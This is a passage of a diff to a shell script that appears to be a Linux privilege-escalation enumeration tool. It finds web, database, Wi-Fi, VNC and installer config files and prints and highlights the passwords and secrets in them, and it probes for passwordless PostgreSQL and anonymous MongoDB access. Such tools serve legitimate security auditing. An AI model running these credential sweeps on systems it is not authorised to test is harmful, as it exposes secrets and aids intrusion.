grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgsql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgsql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgsql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgsql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; fi @@ -2523,7 +3198,7 @@ if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some O fi print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ " - if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.)*,${SED_RED}," + if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED}," else echo_no fi @@ -2542,127 +3217,132 @@ fi if [ "$PSTORAGE_MONGO" ] || [ "$DEBUG" ]; then print_2title "Analyzing Mongo Files (limit 70)" echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)" - if ! [ "`echo \"$PSTORAGE_MONGO\" | grep -E \"mongod.*\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mongod*.conf"; fi; fi; printf "%s" "$PSTORAGE_MONGO" | grep -E "mongod.*\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,mongod.*\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#"; done; echo ""; + if [ "$(command -v mongo)" ]; then echo "show dbs" | mongo 127.0.0.1 > /dev/null 2>&1;[ "$?" == "0" ] && echo "Possible mongo anonymous authentication" | sed -${E} "s,.*|kube,${SED_RED},"; fi + if ! [ "`echo \"$PSTORAGE_MONGO\" | grep -E \"mongod.*\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mongod*.conf"; fi; fi; printf "%s" "$PSTORAGE_MONGO" | grep -E "mongod.*\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mongod.*\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#"; done; echo ""; fi -if [ "$PSTORAGE_APACHE" ] || [ "$DEBUG" ]; then - print_2title "Analyzing Apache Files (limit 70)" - echo "Version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)" +if [ "$PSTORAGE_APACHE_NGINX" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Apache-Nginx Files (limit 70)" + echo "Apache version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)" + echo "Nginx version: $(warn_exec nginx -v 2>/dev/null)" + if [ -d "/etc/apache2" ] && [ -r "/etc/apache2" ]; then grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null; fi + if [ -d "/usr/share/nginx/modules" ] && [ -r "/usr/share/nginx/modules" ]; then print_3title 'Nginx modules'; ls /usr/share/nginx/modules | sed -${E} "s,$NGINX_KNOWN_MODULES,${SED_GREEN},g"; fi print_3title 'PHP exec extensions' - grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null - if ! [ "`echo \"$PSTORAGE_APACHE\" | grep -E \"sites-enabled$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites-enabled"; fi; fi; printf "%s" "$PSTORAGE_APACHE" | grep -E "sites-enabled$" | while read f; do ls -ld "$f" | sed -${E} "s,sites-enabled$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_APACHE\" | grep -E \"000-default\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "000-default.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE" | grep -E "000-default\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,000-default\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_APACHE\" | grep -E \"php\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "php.ini"; fi; fi; printf "%s" "$PSTORAGE_APACHE" | grep -E "php\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,php\.ini$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E allow_ | grep -Ev "^;" | sed -${E} "s,On,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"sites-enabled$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites-enabled"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "sites-enabled$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites-enabled$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias|command on,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"000-default\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "000-default.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "000-default\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,000-default\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"php\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "php.ini"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "php\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,php\.ini$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E allow_ | grep -Ev "^;" | sed -${E} "s,On,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"nginx\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "nginx.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "nginx\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,nginx\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\s+\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"nginx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "nginx"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "nginx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,nginx$,${SED_RED},"; find "$f" -name "*.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\s+\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_TOMCAT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Tomcat Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_TOMCAT\" | grep -E \"tomcat-users\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "tomcat-users.xml"; fi; fi; printf "%s" "$PSTORAGE_TOMCAT" | grep -E "tomcat-users\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,tomcat-users\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username=|password=" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_TOMCAT\" | grep -E \"tomcat-users\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "tomcat-users.xml"; fi; fi; printf "%s" "$PSTORAGE_TOMCAT" | grep -E "tomcat-users\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,tomcat-users\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username=|password=" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_FASTCGI" ] || [ "$DEBUG" ]; then print_2title "Analyzing FastCGI Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_FASTCGI\" | grep -E \"fastcgi_params$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "fastcgi_params"; fi; fi; printf "%s" "$PSTORAGE_FASTCGI" | grep -E "fastcgi_params$" | while read f; do ls -ld "$f" | sed -${E} "s,fastcgi_params$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "DB_NAME|DB_USER|DB_PASS" | sed -${E} "s,DB_NAME|DB_USER|DB_PASS,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FASTCGI\" | grep -E \"fastcgi_params$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "fastcgi_params"; fi; fi; printf "%s" "$PSTORAGE_FASTCGI" | grep -E "fastcgi_params$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,fastcgi_params$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "DB_NAME|DB_USER|DB_PASS" | sed -${E} "s,DB_NAME|DB_USER|DB_PASS,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_HTTP_CONF" ] || [ "$DEBUG" ]; then print_2title "Analyzing Http conf Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_HTTP_CONF\" | grep -E \"httpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "httpd.conf"; fi; fi; printf "%s" "$PSTORAGE_HTTP_CONF" | grep -E "httpd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,httpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "htaccess.*|htpasswd.*" | grep -Ev "\W+\#|^#" | sed -${E} "s,htaccess.*|htpasswd.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_HTTP_CONF\" | grep -E \"httpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "httpd.conf"; fi; fi; printf "%s" "$PSTORAGE_HTTP_CONF" | grep -E "httpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,httpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "htaccess.*|htpasswd.*" | grep -Ev "\W+\#|^#" | sed -${E} "s,htaccess.*|htpasswd.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_HTPASSWD" ] || [ "$DEBUG" ]; then print_2title "Analyzing Htpasswd Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_HTPASSWD\" | grep -E \"\.htpasswd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".htpasswd"; fi; fi; printf "%s" "$PSTORAGE_HTPASSWD" | grep -E "\.htpasswd$" | while read f; do ls -ld "$f" | sed -${E} "s,\.htpasswd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_HTPASSWD\" | grep -E \"\.htpasswd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".htpasswd"; fi; fi; printf "%s" "$PSTORAGE_HTPASSWD" | grep -E "\.htpasswd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.htpasswd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_PHP_SESSIONS" ] || [ "$DEBUG" ]; then print_2title "Analyzing PHP Sessions Files (limit 70)" ls /var/lib/php/sessions 2>/dev/null || echo_not_found /var/lib/php/sessions - if ! [ "`echo \"$PSTORAGE_PHP_SESSIONS\" | grep -E \"sess_.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sess_*"; fi; fi; printf "%s" "$PSTORAGE_PHP_SESSIONS" | grep -E "sess_.*$" | while read f; do ls -ld "$f" | sed -${E} "s,sess_.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PHP_SESSIONS\" | grep -E \"sess_.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sess_*"; fi; fi; printf "%s" "$PSTORAGE_PHP_SESSIONS" | grep -E "sess_.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sess_.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_WORDPRESS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Wordpress Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_WORDPRESS\" | grep -E \"wp-config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wp-config.php"; fi; fi; printf "%s" "$PSTORAGE_WORDPRESS" | grep -E "wp-config\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,wp-config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "PASSWORD|USER|NAME|HOST" | sed -${E} "s,PASSWORD|USER|NAME|HOST,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WORDPRESS\" | grep -E \"wp-config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wp-config.php"; fi; fi; printf "%s" "$PSTORAGE_WORDPRESS" | grep -E "wp-config\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wp-config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "PASSWORD|USER|NAME|HOST" | sed -${E} "s,PASSWORD|USER|NAME|HOST,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_DRUPAL" ] || [ "$DEBUG" ]; then print_2title "Analyzing Drupal Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_DRUPAL\" | grep -E \"settings\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "settings.php"; fi; fi; printf "%s" "$PSTORAGE_DRUPAL" | grep -E "settings\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,settings\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'" | sed -${E} "s,drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix',${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_DRUPAL\" | grep -E \"settings\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "settings.php"; fi; fi; printf "%s" "$PSTORAGE_DRUPAL" | grep -E "settings\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,settings\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'" | sed -${E} "s,drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix',${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_MOODLE" ] || [ "$DEBUG" ]; then print_2title "Analyzing Moodle Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_MOODLE\" | grep -E \"config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "config.php"; fi; fi; printf "%s" "$PSTORAGE_MOODLE" | grep -E "config\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MOODLE\" | grep -E \"config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "config.php"; fi; fi; printf "%s" "$PSTORAGE_MOODLE" | grep -E "config\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_SUPERVISORD" ] || [ "$DEBUG" ]; then print_2title "Analyzing Supervisord Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SUPERVISORD\" | grep -E \"supervisord\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "supervisord.conf"; fi; fi; printf "%s" "$PSTORAGE_SUPERVISORD" | grep -E "supervisord\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,supervisord\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "port.*=|username.*=|password.*=" | sed -${E} "s,port.*=|username.*=|password.*=,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SUPERVISORD\" | grep -E \"supervisord\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "supervisord.conf"; fi; fi; printf "%s" "$PSTORAGE_SUPERVISORD" | grep -E "supervisord\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,supervisord\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "port.*=|username.*=|password.*=" | sed -${E} "s,port.*=|username.*=|password.*=,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_CESI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cesi Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CESI\" | grep -E \"cesi\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cesi.conf"; fi; fi; printf "%s" "$PSTORAGE_CESI" | grep -E "cesi\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,cesi\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username.*=|password.*=|host.*=|port.*=|database.*=" | sed -${E} "s,username.*=|password.*=|host.*=|port.*=|database.*=,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CESI\" | grep -E \"cesi\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cesi.conf"; fi; fi; printf "%s" "$PSTORAGE_CESI" | grep -E "cesi\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cesi\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username.*=|password.*=|host.*=|port.*=|database.*=" | sed -${E} "s,username.*=|password.*=|host.*=|port.*=|database.*=,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_RSYNC" ] || [ "$DEBUG" ]; then print_2title "Analyzing Rsync Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.conf"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,rsyncd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,secrets.*|auth.*users.*=,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.secrets"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.secrets$" | while read f; do ls -ld "$f" | sed -${E} "s,rsyncd\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.conf"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rsyncd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,secrets.*|auth.*users.*=,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.secrets"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.secrets$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rsyncd\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_HOSTAPD" ] || [ "$DEBUG" ]; then print_2title "Analyzing Hostapd Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_HOSTAPD\" | grep -E \"hostapd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hostapd.conf"; fi; fi; printf "%s" "$PSTORAGE_HOSTAPD" | grep -E "hostapd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,hostapd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,passphrase.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_HOSTAPD\" | grep -E \"hostapd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hostapd.conf"; fi; fi; printf "%s" "$PSTORAGE_HOSTAPD" | grep -E "hostapd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hostapd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,passphrase.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_WIFI_CONNECTIONS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Wifi Connections Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_WIFI_CONNECTIONS\" | grep -E \"system-connections$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system-connections"; fi; fi; printf "%s" "$PSTORAGE_WIFI_CONNECTIONS" | grep -E "system-connections$" | while read f; do ls -ld "$f" | sed -${E} "s,system-connections$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "psk.*" | sed -${E} "s,psk.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_WIFI_CONNECTIONS\" | grep -E \"system-connections$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system-connections"; fi; fi; printf "%s" "$PSTORAGE_WIFI_CONNECTIONS" | grep -E "system-connections$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,system-connections$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "psk.*" | sed -${E} "s,psk.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_ANACONDA_KS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Anaconda ks Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ANACONDA_KS\" | grep -E \"anaconda-ks\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "anaconda-ks.cfg"; fi; fi; printf "%s" "$PSTORAGE_ANACONDA_KS" | grep -E "anaconda-ks\.cfg$" | while read f; do ls -ld "$f" | sed -${E} "s,anaconda-ks\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rootpw.*" | sed -${E} "s,rootpw.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ANACONDA_KS\" | grep -E \"anaconda-ks\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "anaconda-ks.cfg"; fi; fi; printf "%s" "$PSTORAGE_ANACONDA_KS" | grep -E "anaconda-ks\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,anaconda-ks\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rootpw.*" | sed -${E} "s,rootpw.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_VNC" ] || [ "$DEBUG" ]; then print_2title "Analyzing VNC Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"\.vnc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".vnc"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "\.vnc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.vnc$,${SED_RED},"; find "$f" -name "passwd" | while read ff; do ls -ld "$ff" | sed -${E} "s,passwd,${SED_RED},"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.c.*nf.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.c*nf*"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.c.*nf.*$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.c.*nf.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.ini"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.txt"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.xml"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"\.vnc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".vnc"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "\.vnc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vnc$,${SED_RED},"; find "$f" -name "passwd" | while read ff; do ls -ld "$ff" | sed -${E} "s,passwd,${SED_RED},"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.c.*nf.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.c*nf*"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.c.*nf.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.c.*nf.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.ini"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} 